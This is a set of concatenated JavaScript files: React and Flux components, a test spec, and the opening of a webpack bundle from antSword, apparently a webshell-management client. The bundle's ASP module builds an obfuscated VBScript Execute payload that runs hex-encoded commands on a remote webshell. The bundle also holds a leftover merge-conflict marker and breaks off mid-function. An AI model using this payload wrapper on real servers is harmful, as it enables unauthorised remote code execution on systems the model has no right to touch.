blazenko/flux
|
/**
* Copyright (c) 2014-2015, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
* @providesModule FluxContainer
* @flow
*/
'use strict';
var FluxStoreGroup = require('FluxStoreGroup');
var invariant = require('invariant');
var shallowEqual = require('shallowEqual');
type Options = {
pure?: ?boolean,
withProps?: ?boolean,
};
var DEFAULT_OPTIONS = {
pure: true,
withProps: false,
};
/**
* A FluxContainer is used to subscribe a react component to multiple stores.
* The stores that are used must be returned from a static `getStores()` method.
*
* The component receives information from the stores via state. The state
* is generated using a static `calculateState()` method that each container
* must implement. A simple container may look like:
*/
function create<DefaultProps, Props, State>(
Base: any,
options?: ?Options,
): ReactClass<DefaultProps, Props, State> {
enforceInterface(Base);
// Construct the options using default, override with user values as necessary
var realOptions = {
...DEFAULT_OPTIONS,
...(options || {}),
};
class FluxContainerClass extends Base {
_fluxContainerStoreGroup: FluxStoreGroup;
_fluxContainerSubscriptions: Array<{remove: Function}>;
constructor(props: any) {
super(props);
this.state = realOptions.withProps
? Base.calculateState(null, props)
: Base.calculateState(null, undefined);
}
componentDidMount(): void {
if (super.componentDidMount) {
super.componentDidMount();
}
var stores = Base.getStores();
// This tracks when any store has changed and we may need to update.
var changed = false;
var setChanged = () => {changed = true;};
// This adds subscriptions to stores. When a store changes all we do is
// set changed to true.
this._fluxContainerSubscriptions = stores.map(
store => store.addListener(setChanged)
);
// This callback is called after the dispatch of the relevant stores. If
// any have reported a change we update the state, then reset changed.
var callback = () => {
if (changed) {
this.setState(prevState => {
return realOptions.withProps
? Base.calculateState(prevState, this.props)
: Base.calculateState(prevState, undefined);
});
}
changed = false;
};
this._fluxContainerStoreGroup = new FluxStoreGroup(stores, callback);
}
componentWillReceiveProps(nextProps: any, nextContext: any): void {
if (super.componentWillReceiveProps) {
super.componentWillReceiveProps(nextProps, nextContext);
}
// Don't do anything else if the container is not configured to use props
if (!realOptions.withProps) {
return;
}
// If it's pure we can potentially optimize out the calculate state
if (realOptions.pure && shallowEqual(this.props, nextProps)) {
return;
}
// Finally update the state using the new props
this.setState(prevState => Base.calculateState(prevState, nextProps));
}
componentWillUnmount(): void {
if (super.componentWillUnmount) {
super.componentWillUnmount();
}
this._fluxContainerStoreGroup.release();
for (var subscription of this._fluxContainerSubscriptions) {
subscription.remove();
}
this._fluxContainerSubscriptions = [];
}
}
// Make sure we override shouldComponentUpdate only if the pure option is
// specified. We can't override this above because we don't want to override
// the default behavior on accident. Super works weird with react ES6 classes
// right now
var container = realOptions.pure
? createPureContainer(FluxContainerClass)
: (FluxContainerClass: any);
// Update the name of the container before returning
var componentName = Base.displayName || Base.name;
container.displayName = 'FluxContainer(' + componentName + ')';
return container;
}
// TODO: typecheck this better
function createPureContainer(FluxContainerBase: any): any {
class PureFluxContainerClass extends FluxContainerBase {
shouldComponentUpdate(nextProps: any, nextState: any): boolean {
return (
!shallowEqual(this.props, nextProps) ||
!shallowEqual(this.state, nextState)
);
}
}
return PureFluxContainerClass;
}
function enforceInterface(o: any): void {
invariant(
o.getStores,
'Components that use FluxContainer must implement `static getStores()`'
);
invariant(
o.calculateState,
'Components that use FluxContainer must implement `static calculateState()`'
);
}
module.exports = {create};
|
src/components/tools/conversation.js
|
Lokiedu/libertysoil-site
|
/*
This file is a part of libertysoil.org website
Copyright (C) 2016 Loki Education (Social Enterprise)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
import PropTypes from 'prop-types';
import React from 'react';
import Avatar from '../user/avatar';
import Time from '../time';
import { Immutable as ImmutablePropType } from '../../prop-types/common';
import { User as UserPropType } from '../../prop-types/users';
function Message({ currentUser, selectedUser, message, hideAvatar = false }) {
const isMyMessage = message.get('sender_id') === currentUser.get('id');
let className = 'conversations_tool__message';
if (isMyMessage) {
className += ' conversations_tool__message-my';
} else {
className += ' conversations_tool__message-their';
}
let user = currentUser;
if (!isMyMessage) {
user = selectedUser;
}
return (
<div className={className}>
<Time className="conversations_tool__time" timestamp={message.get('created_at')} />
{!hideAvatar &&
<Avatar className="conversations_tool__avatar" size={32} user={user} />
}
{message.get('text')}
</div>
);
}
export default class Conversation extends React.Component {
static propTypes = {
currentUser: ImmutablePropType(UserPropType.isRequired),
messages: ImmutablePropType(PropTypes.shape({})),
selectedUser: ImmutablePropType(UserPropType)
};
handleSubmit = (e) => {
e.preventDefault();
this.props.onSend(this.props.selectedUser.get('id'), this.form.text.value);
this.form.text.value = '';
};
render() {
const {
currentUser,
messages,
selectedUser,
} = this.props;
if (!selectedUser) {
return null;
}
const messageElements = messages.map((message, index) => {
const hideAvatar = index > 0 && messages.getIn([index - 1, 'sender_id']) === message.get('sender_id');
return (
<Message
currentUser={currentUser}
hideAvatar={hideAvatar}
key={message.get('id')}
message={message}
selectedUser={selectedUser}
/>
);
});
return (
<div>
<div className="conversations_tool__messages">
{messageElements}
</div>
<form ref={c => this.form = c} onSubmit={this.handleSubmit}>
<textarea
className="input input-block conversations_tool__input"
name="text"
placeholder={'Type your message here, hit "enter" or "Send" button'}
/>
<input className="button button-red" type="submit" value="Send" />
</form>
</div>
);
}
}
|
spec/client/ProfileSpecs/BioListEntrySpec.js
|
bracegirdles/bracegirdles
|
import fakeData from './fakeData.js';
import BioListEntry from '../../../client/ProfileComponents/BioListEntry.jsx';
import {expect} from 'chai';
import ReactTestUtils from 'react-addons-test-utils';
import React from 'react';
describe('BioListEntry', function() {
var {
findRenderedDOMComponentWithClass,
scryRenderedDOMComponentsWithClass,
createRenderer,
renderIntoDocument
} = ReactTestUtils;
const renderer = ReactTestUtils.createRenderer();
beforeEach(function() {
// console.log(fakeUser);
// var bioentry = renderIntoDocument(
// <BioListEntry user={fakeData.fakeUser}/>
// );
renderer.render(<BioListEntry user={fakeData.fakeUser}/>);
const result = renderer.getRenderOutput();
console.log(result);
});
it('should be a stateless functional component', function() {
expect(React.Component.isPrototypeOf(BioListEntry)).to.be.false;
});
it('should render a single bio list entry component', function() {
// var bio = findRenderedDOMComponentWithClass(bioentry, 'bio-body');
// expect(bio).to.exist;
// console.log('inside test ', result);
expect(result.type).to.be('ul');
});
});
|
admin/src/react/instance-list-page/flag-group-box.js
|
sggdv/vegan
|
import React, { Component } from 'react';
import {
Glyphicon,
Button,
Popover,
OverlayTrigger,
} from 'react-bootstrap';
import Flag from './flag';
class FlagGroupBox extends Component {
constructor(props) {
super(props);
let current = props.current || '#FD7D7F';
this.state = {
current,
colors: ['#FD7D7F', '#FDBD43', '#F4E447', '#B5DF3A', '#83C9FD', '#E3A7FD', '#C8C8C8'],
};
this.handleClickFlag = this.handleClickFlag.bind(this);
}
render() {
const { colors, current } = this.state;
let flags = colors.map(color => {
return (<Flag color={color} callbackParent={this.handleClickFlag} />);
}, this);
let overlay = (<Popover title="标旗帜">{flags}</Popover>);
return (
<OverlayTrigger trigger="click" rootClose placement="top" overlay={overlay}>
<Button bsStyle="link" bsSize="sm">
<Glyphicon glyph="flag" style={{ color: current }} />
</Button>
</OverlayTrigger>
);
}
handleClickFlag(color) {
const { callbackParent } = this.props;
callbackParent(color, () => {
this.setState({ current: color });
});
}
}
export default FlagGroupBox;
|
react/HeartIcon/HeartIcon.iconSketch.js
|
seekinternational/seek-asia-style-guide
|
import React from 'react';
import HeartIcon from './HeartIcon';
export const symbols = {
'HeartIcon -> with filled': <HeartIcon filled={true} />,
'HeartIcon -> without filled': <HeartIcon filled={false} />
};
|
static/build/app.bundle.js
|
c4bbage/antSword
|
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId])
/******/ return installedModules[moduleId].exports;
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ exports: {},
/******/ id: moduleId,
/******/ loaded: false
/******/ };
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/ // Flag the module as loaded
/******/ module.loaded = true;
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/ // Load entry module and return exports
/******/ return __webpack_require__(0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(global) {//
// 程序入口
// -------
// create: 2015/12/20
// update: 2016/01/20
//
'use strict';
var _menubar = __webpack_require__(1);
var _menubar2 = _interopRequireDefault(_menubar);
var _cachemanager = __webpack_require__(2);
var _cachemanager2 = _interopRequireDefault(_cachemanager);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var electron = global.require('electron');
var remote = electron.remote;
var ipcRenderer = electron.ipcRenderer;
var antSword = window.antSword = {
noxss: function noxss(html) {
return String(html).replace(/&/g, "&").replace(/>/g, ">").replace(/</g, "<").replace(/"/g, """);
}
};
// 加载模板代码
antSword['core'] = {};
['php', 'asp', 'aspx', 'custom'].map(function (_) {
antSword['core'][_] = __webpack_require__(3)("./" + _ + '/index');
});
// 加载显示语言
var _lang = localStorage.getItem('language') || navigator.language;
_lang = ['en', 'zh', 'jp'].indexOf(_lang) === -1 ? 'en' : _lang;
antSword['language'] = __webpack_require__(69)("./" + _lang);
antSword['ipcRenderer'] = ipcRenderer;
antSword['CacheManager'] = _cachemanager2.default;
antSword['menubar'] = new _menubar2.default();
// 加载模块列表
antSword['tabbar'] = new dhtmlXTabBar(document.getElementById('container'));
['shellmanager', 'settings', 'plugin'].map(function (_) {
var _module = __webpack_require__(73)("./" + _ + '/index');
new _module.default();
});
// 移除加载界面&&设置标题
$('#loading').remove();
document.title = antSword['language']['title'] || 'AntSword';
/* WEBPACK VAR INJECTION */}.call(exports, (function() { return this; }())))
/***/ },
/* 1 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 前端菜单交互模块
//
var Menubar = function () {
function Menubar() {
var _this = this;
_classCallCheck(this, Menubar);
this.events = {};
// 加载菜单栏
antSword['ipcRenderer'].send('menubar', antSword['language']['menubar']);
// 菜单栏事件
/*
如何注册菜单栏点击事件？
antSword['menubar'].reg('command', () => {});
*/
antSword['ipcRenderer'].on('menubar', function (event, argv) {
var cmd = '';
var arg = '';
if (argv instanceof Array && argv.length === 2) {
cmd = argv[0];
arg = argv[1];
} else {
cmd = argv;
}
switch (cmd) {
case 'tabbar-next':
antSword['tabbar'].goToNextTab();
break;
case 'tabbar-prev':
antSword['tabbar'].goToPrevTab();
break;
case 'tabbar-close':
var tab = antSword['tabbar'].getActiveTab();
if (tab === 'tab_shellmanager') {
return;
};
antSword['tabbar'].tabs(tab).close();
break;
default:
// 检测是否有注册事件？执行注册事件：忽略
var caller = _this.events[cmd];
if (caller instanceof Function) {
caller();
};
}
});
}
_createClass(Menubar, [{
key: 'reg',
value: function reg(name, event) {
this['events'][name] = event;
}
}, {
key: 'run',
value: function run(name) {
this['events'][name]();
}
}]);
return Menubar;
}();
exports.default = Menubar;
/***/ },
/* 2 */
/***/ function(module, exports) {
//
// 缓存操作模块
//
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
var CacheManager = function () {
function CacheManager(id) {
_classCallCheck(this, CacheManager);
this.id = id;
this.sender = antSword['ipcRenderer'].sendSync;
}
// 获取缓存
_createClass(CacheManager, [{
key: 'get',
value: function get(tag) {
var ret = this.sender('cache-get', {
id: this.id,
tag: tag
});
return ret ? ret['cache'] : false;
}
// 更新缓存
}, {
key: 'set',
value: function set(tag, cache) {
return this.sender('cache-add', {
id: this.id,
tag: tag,
cache: cache
});
}
// 删除缓存
}, {
key: 'del',
value: function del(tag) {
return this.sender('cache-del', {
id: this.id,
tag: tag
});
}
// 清空缓存
}, {
key: 'clear',
value: function clear() {
return this.sender('cache-clear', {
id: this.id
});
}
}]);
return CacheManager;
}();
exports.default = CacheManager;
/***/ },
/* 3 */
/***/ function(module, exports, __webpack_require__) {
var map = {
"./asp/index": 4,
"./aspx/index": 26,
"./custom/index": 44,
"./php/index": 56
};
function webpackContext(req) {
return __webpack_require__(webpackContextResolve(req));
};
function webpackContextResolve(req) {
return map[req] || (function() { throw new Error("Cannot find module '" + req + "'.") }());
};
webpackContext.keys = function webpackContextKeys() {
return Object.keys(map);
};
webpackContext.resolve = webpackContextResolve;
module.exports = webpackContext;
webpackContext.id = 3;
/***/ },
/* 4 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(global, Buffer) {'use strict';
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 代码模板::asp
//
var iconv = global.require('iconv-lite');
var ASP = function () {
function ASP(opts) {
_classCallCheck(this, ASP);
this.__opts__ = opts;
this.parseTpl(['base', 'command', 'filemanager', 'database/dsn', 'database/mysql', 'database/access', 'database/oracle', 'database/sqlserver', 'database/sqloledb_1', 'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0']);
this.parseEnr([]);
}
// 格式化函数
_createClass(ASP, [{
key: 'format',
value: function format() {
var encode = this.__opts__['encode'] || 'utf8';
return {
base64: function base64(str) {
// 编码
var _str_ = iconv.encode(new Buffer(str), encode);
return new Buffer(_str_).toString('base64');
},
// 转换为16进制::编码
hex: function hex(b) {
var ret = [];
var buff = iconv.encode(new Buffer(b), encode);
buff.toJSON()['data'].map(function (i) {
var _ = i.toString(16);
_.length < 2 ? _ = '0' + _ : null;
ret.push(_);
});
return ret.join('').toUpperCase();
},
// 转换为16进制::不编码
buffer: function buffer(b) {
var ret = [];
b.toJSON()['data'].map(function (i) {
var _ = i.toString(16);
_.length < 2 ? _ = '0' + _ : null;
ret.push(_);
});
return ret.join('').toUpperCase();
}
};
}
// 解析模板
}, {
key: 'parseTpl',
value: function parseTpl(tpl) {
var _this = this;
var _export = {};
// 模板格式化函数
var format = this.format();
// 加载模板代码
tpl.map(function (t) {
// 解析模板
_this[t.replace(/\//g, '_')] = {};
var m = __webpack_require__(9)("./" + t);
for (var _ in m) {
_this[t.replace(/\//g, '_')][_] = function (c) {
// 如果需要参数
if ((typeof c === 'undefined' ? 'undefined' : _typeof(c)) === 'object') {
return function (argv, success, error, hook) {
var data = $.extend({}, c);
// 格式化参数
var _loop = function _loop(d) {
(data[d].match(/#{([\w\:]+)}/g) || []).map(function (tag) {
var _t = tag.substr(2, tag.length - 3);
// 如果需要字符处理
var _f = _t.split('::');
var _ff = void 0;
if (_f.length > 0 && (_ff = format[_f[0]])) {
// _t = _ff(argv[_f[1]] || _t);
_t = _ff(argv[_f[1]] || '');
} else {
// _t = argv[_t] || _t;
_t = argv[_t] || '';
}
data[d] = data[d].replace(tag, _t);
});
};
for (var d in data) {
_loop(d);
}
_this.ajax(data, success, error, hook);
};
} else {
var _ret2 = function () {
var data = {
_: c
};
return {
v: function v(success, error, hook) {
_this.ajax(data, success, error, hook);
}
};
}();
if ((typeof _ret2 === 'undefined' ? 'undefined' : _typeof(_ret2)) === "object") return _ret2.v;
}
}(m[_]);
}
});
}
// 解析编码模块
}, {
key: 'parseEnr',
value: function parseEnr(edr) {
var encoder = {
// 默认编码器
default: function _default(pwd, data) {
data[pwd] = data['_'];
delete data['_'];
return data;
}
};
edr.map(function (_) {
encoder[_] = __webpack_require__(23)("./" + _);
});
this.__encoder__ = encoder;
}
}, {
key: 'ajax',
value: function ajax(code, success, error, hook) {
var post = $.extend({}, code);
// 随机ID(用于监听数据来源)
var hash = (String(+new Date()) + String(Math.random())).substr(10, 10).replace('.', '_');
var tag_s = '-=:{';
var tag_e = '}:=-';
var encode = this.__opts__['encode'] || 'utf8';
var code_hex = this.format()['hex'](post['_']);
post['_'] = 'eval("Ex"&cHr(101)&"cute(""Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""' + tag_s + '""""):Ex"&cHr(101)&"cute(""""On Error Resume Next:""""&bd(""""' + code_hex + '"""")):Response.Write(""""' + tag_e + '""""):Response.End"")")';
// 编码处理模板
var encoder = this.__encoder__[this.__opts__['encoder'] || 'default'] || this.__encoder__['default'];
var data = encoder(this.__opts__['pwd'], post);
// 监听数据返回
antSword['ipcRenderer']
// 请求完毕返回数据{text,buff}
.on('request-' + hash, function (event, arg) {
success(arg['text'], arg['buff']);
})
// HTTP请求返回字节流
.on('request-chunk-' + hash, function (event, ret) {
hook ? hook(ret) : null;
})
// 数据请求错误
.on('request-error-' + hash, function (event, ret) {
error ? error(ret) : null;
})
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: data,
tag_s: tag_s,
tag_e: tag_e,
encode: encode
});
}
}]);
return ASP;
}();
module.exports = ASP;
/* WEBPACK VAR INJECTION */}.call(exports, (function() { return this; }()), __webpack_require__(5).Buffer))
/***/ },
/* 5 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(Buffer, global) {/*!
* The buffer module from node.js, for the browser.
*
* @author Feross Aboukhadijeh <feross@feross.org> <http://feross.org>
* @license MIT
*/
<<<<<<< HEAD
/* eslint-disable no-proto */
'use strict'
var base64 = __webpack_require__(6)
var ieee754 = __webpack_require__(7)
var isArray = __webpack_require__(8)
exports.Buffer = Buffer
exports.SlowBuffer = SlowBuffer
exports.INSPECT_MAX_BYTES = 50
Buffer.poolSize = 8192 // not used by this implementation
var rootParent = {}
/**
* If `Buffer.TYPED_ARRAY_SUPPORT`:
* === true Use Uint8Array implementation (fastest)
* === false Use Object implementation (most compatible, even IE6)
*
* Browsers that support typed arrays are IE 10+, Firefox 4+, Chrome 7+, Safari 5.1+,
* Opera 11.6+, iOS 4.2+.
*
* Due to various browser bugs, sometimes the Object implementation will be used even
* when the browser supports typed arrays.
*
* Note:
*
* - Firefox 4-29 lacks support for adding new properties to `Uint8Array` instances,
* See: https://bugzilla.mozilla.org/show_bug.cgi?id=695438.
*
* - Safari 5-7 lacks support for changing the `Object.prototype.constructor` property
* on objects.
*
* - Chrome 9-10 is missing the `TypedArray.prototype.subarray` function.
*
* - IE10 has a broken `TypedArray.prototype.subarray` function which returns arrays of
* incorrect length in some situations.
* We detect these buggy browsers and set `Buffer.TYPED_ARRAY_SUPPORT` to `false` so they
* get the Object implementation, which is slower but behaves correctly.
*/
Buffer.TYPED_ARRAY_SUPPORT = global.TYPED_ARRAY_SUPPORT !== undefined
? global.TYPED_ARRAY_SUPPORT
: typedArraySupport()
function typedArraySupport () {
function Bar () {}
try {
var arr = new Uint8Array(1)
arr.foo = function () { return 42 }
arr.constructor = Bar
return arr.foo() === 42 && // typed array instances can be augmented
arr.constructor === Bar && // constructor can be set
typeof arr.subarray === 'function' && // chrome 9-10 lack `subarray`
arr.subarray(1, 1).byteLength === 0 // ie10 has broken `subarray`
} catch (e) {
return false
}
}
function kMaxLength () {
return Buffer.TYPED_ARRAY_SUPPORT
? 0x7fffffff
: 0x3fffffff
}
/**
* Class: Buffer
* =============
*
* The Buffer constructor returns instances of `Uint8Array` that are augmented
* with function properties for all the node `Buffer` API functions. We use
* `Uint8Array` so that square bracket notation works as expected -- it returns
* a single octet.
*
* By augmenting the instances, we can avoid modifying the `Uint8Array`
* prototype.
*/
function Buffer (arg) {
if (!(this instanceof Buffer)) {
// Avoid going through an ArgumentsAdaptorTrampoline in the common case.
if (arguments.length > 1) return new Buffer(arg, arguments[1])
return new Buffer(arg)
}
if (!Buffer.TYPED_ARRAY_SUPPORT) {
this.length = 0
this.parent = undefined
}
// Common case.
if (typeof arg === 'number') {
return fromNumber(this, arg)
}
// Slightly less common case.
if (typeof arg === 'string') {
return fromString(this, arg, arguments.length > 1 ? arguments[1] : 'utf8')
}
// Unusual.
return fromObject(this, arg)
}
function fromNumber (that, length) {
that = allocate(that, length < 0 ? 0 : checked(length) | 0)
if (!Buffer.TYPED_ARRAY_SUPPORT) {
for (var i = 0; i < length; i++) {
that[i] = 0
}
}
return that
}
function fromString (that, string, encoding) {
if (typeof encoding !== 'string' || encoding === '') encoding = 'utf8'
// Assumption: byteLength() return value is always < kMaxLength.
var length = byteLength(string, encoding) | 0
that = allocate(that, length)
that.write(string, encoding)
return that
}
function fromObject (that, object) {
if (Buffer.isBuffer(object)) return fromBuffer(that, object)
if (isArray(object)) return fromArray(that, object)
if (object == null) {
throw new TypeError('must start with number, buffer, array or string')
}
if (typeof ArrayBuffer !== 'undefined') {
if (object.buffer instanceof ArrayBuffer) {
return fromTypedArray(that, object)
}
if (object instanceof ArrayBuffer) {
return fromArrayBuffer(that, object)
}
}
if (object.length) return fromArrayLike(that, object)
return fromJsonObject(that, object)
}
function fromBuffer (that, buffer) {
var length = checked(buffer.length) | 0
that = allocate(that, length)
buffer.copy(that, 0, 0, length)
return that
}
function fromArray (that, array) {
var length = checked(array.length) | 0
that = allocate(that, length)
for (var i = 0; i < length; i += 1) {
that[i] = array[i] & 255
}
return that
}
// Duplicate of fromArray() to keep fromArray() monomorphic.
function fromTypedArray (that, array) {
var length = checked(array.length) | 0
that = allocate(that, length)
// Truncating the elements is probably not what people expect from typed
// arrays with BYTES_PER_ELEMENT > 1 but it's compatible with the behavior
// of the old Buffer constructor.
for (var i = 0; i < length; i += 1) {
that[i] = array[i] & 255
}
return that
}
function fromArrayBuffer (that, array) {
if (Buffer.TYPED_ARRAY_SUPPORT) {
// Return an augmented `Uint8Array` instance, for best performance
array.byteLength
that = Buffer._augment(new Uint8Array(array))
} else {
// Fallback: Return an object instance of the Buffer class
that = fromTypedArray(that, new Uint8Array(array))
}
return that
}
function fromArrayLike (that, array) {
var length = checked(array.length) | 0
that = allocate(that, length)
for (var i = 0; i < length; i += 1) {
that[i] = array[i] & 255
}
return that
}
// Deserialize { type: 'Buffer', data: [1,2,3,...] } into a Buffer object.
// Returns a zero-length buffer for inputs that don't conform to the spec.
function fromJsonObject (that, object) {
var array
var length = 0
if (object.type === 'Buffer' && isArray(object.data)) {
array = object.data
length = checked(array.length) | 0
}
that = allocate(that, length)
for (var i = 0; i < length; i += 1) {
that[i] = array[i] & 255
}
return that
}
if (Buffer.TYPED_ARRAY_SUPPORT) {
Buffer.prototype.__proto__ = Uint8Array.prototype
Buffer.__proto__ = Uint8Array
} else {
// pre-set for values that may exist in the future
Buffer.prototype.length = undefined
Buffer.prototype.parent = undefined
}
function allocate (that, length) {
if (Buffer.TYPED_ARRAY_SUPPORT) {
// Return an augmented `Uint8Array` instance, for best performance
that = Buffer._augment(new Uint8Array(length))
that.__proto__ = Buffer.prototype
} else {
// Fallback: Return an object instance of the Buffer class
that.length = length
that._isBuffer = true
}
var fromPool = length !== 0 && length <= Buffer.poolSize >>> 1
if (fromPool) that.parent = rootParent
return that
}
function checked (length) {
// Note: cannot use `length < kMaxLength` here because that fails when
// length is NaN (which is otherwise coerced to zero.)
if (length >= kMaxLength()) {
throw new RangeError('Attempt to allocate Buffer larger than maximum ' +
'size: 0x' + kMaxLength().toString(16) + ' bytes')
}
return length | 0
}
function SlowBuffer (subject, encoding) {
if (!(this instanceof SlowBuffer)) return new SlowBuffer(subject, encoding)
var buf = new Buffer(subject, encoding)
delete buf.parent
return buf
}
Buffer.isBuffer = function isBuffer (b) {
return !!(b != null && b._isBuffer)
}
Buffer.compare = function compare (a, b) {
if (!Buffer.isBuffer(a) || !Buffer.isBuffer(b)) {
throw new TypeError('Arguments must be Buffers')
}
if (a === b) return 0
var x = a.length
var y = b.length
var i = 0
var len = Math.min(x, y)
while (i < len) {
if (a[i] !== b[i]) break
++i
}
if (i !== len) {
x = a[i]
y = b[i]
}
if (x < y) return -1
if (y < x) return 1
return 0
}
Buffer.isEncoding = function isEncoding (encoding) {
switch (String(encoding).toLowerCase()) {
case 'hex':
case 'utf8':
case 'utf-8':
case 'ascii':
case 'binary':
case 'base64':
case 'raw':
case 'ucs2':
case 'ucs-2':
case 'utf16le':
case 'utf-16le':
return true
default:
return false
}
}
Buffer.concat = function concat (list, length) {
if (!isArray(list)) throw new TypeError('list argument must be an Array of Buffers.')
if (list.length === 0) {
return new Buffer(0)
}
var i
if (length === undefined) {
length = 0
for (i = 0; i < list.length; i++) {
length += list[i].length
}
}
var buf = new Buffer(length)
var pos = 0
for (i = 0; i < list.length; i++) {
var item = list[i]
item.copy(buf, pos)
pos += item.length
}
return buf
}
function byteLength (string, encoding) {
if (typeof string !== 'string') string = '' + string
var len = string.length
if (len === 0) return 0
// Use a for loop to avoid recursion
var loweredCase = false
for (;;) {
switch (encoding) {
case 'ascii':
case 'binary':
// Deprecated
case 'raw':
case 'raws':
return len
case 'utf8':
case 'utf-8':
return utf8ToBytes(string).length
case 'ucs2':
case 'ucs-2':
case 'utf16le':
case 'utf-16le':
return len * 2
case 'hex':
return len >>> 1
case 'base64':
return base64ToBytes(string).length
default:
if (loweredCase) return utf8ToBytes(string).length // assume utf8
encoding = ('' + encoding).toLowerCase()
loweredCase = true
}
}
}
Buffer.byteLength = byteLength
function slowToString (encoding, start, end) {
var loweredCase = false
start = start | 0
end = end === undefined || end === Infinity ? this.length : end | 0
if (!encoding) encoding = 'utf8'
if (start < 0) start = 0
if (end > this.length) end = this.length
if (end <= start) return ''
while (true) {
switch (encoding) {
case 'hex':
return hexSlice(this, start, end)
case 'utf8':
case 'utf-8':
return utf8Slice(this, start, end)
case 'ascii':
return asciiSlice(this, start, end)
case 'binary':
return binarySlice(this, start, end)
case 'base64':
return base64Slice(this, start, end)
case 'ucs2':
case 'ucs-2':
case 'utf16le':
case 'utf-16le':
return utf16leSlice(this, start, end)
default:
if (loweredCase) throw new TypeError('Unknown encoding: ' + encoding)
encoding = (encoding + '').toLowerCase()
loweredCase = true
}
}
}
Buffer.prototype.toString = function toString () {
var length = this.length | 0
if (length === 0) return ''
if (arguments.length === 0) return utf8Slice(this, 0, length)
return slowToString.apply(this, arguments)
}
Buffer.prototype.equals = function equals (b) {
if (!Buffer.isBuffer(b)) throw new TypeError('Argument must be a Buffer')
if (this === b) return true
return Buffer.compare(this, b) === 0
}
Buffer.prototype.inspect = function inspect () {
var str = ''
var max = exports.INSPECT_MAX_BYTES
if (this.length > 0) {
str = this.toString('hex', 0, max).match(/.{2}/g).join(' ')
if (this.length > max) str += ' ... '
}
return '<Buffer ' + str + '>'
}
Buffer.prototype.compare = function compare (b) {
if (!Buffer.isBuffer(b)) throw new TypeError('Argument must be a Buffer')
if (this === b) return 0
return Buffer.compare(this, b)
}
Buffer.prototype.indexOf = function indexOf (val, byteOffset) {
if (byteOffset > 0x7fffffff) byteOffset = 0x7fffffff
else if (byteOffset < -0x80000000) byteOffset = -0x80000000
byteOffset >>= 0
if (this.length === 0) return -1
if (byteOffset >= this.length) return -1
// Negative offsets start from the end of the buffer
if (byteOffset < 0) byteOffset = Math.max(this.length + byteOffset, 0)
if (typeof val === 'string') {
if (val.length === 0) return -1 // special case: looking for empty string always fails
return String.prototype.indexOf.call(this, val, byteOffset)
}
if (Buffer.isBuffer(val)) {
return arrayIndexOf(this, val, byteOffset)
}
if (typeof val === 'number') {
if (Buffer.TYPED_ARRAY_SUPPORT && Uint8Array.prototype.indexOf === 'function') {
return Uint8Array.prototype.indexOf.call(this, val, byteOffset)
}
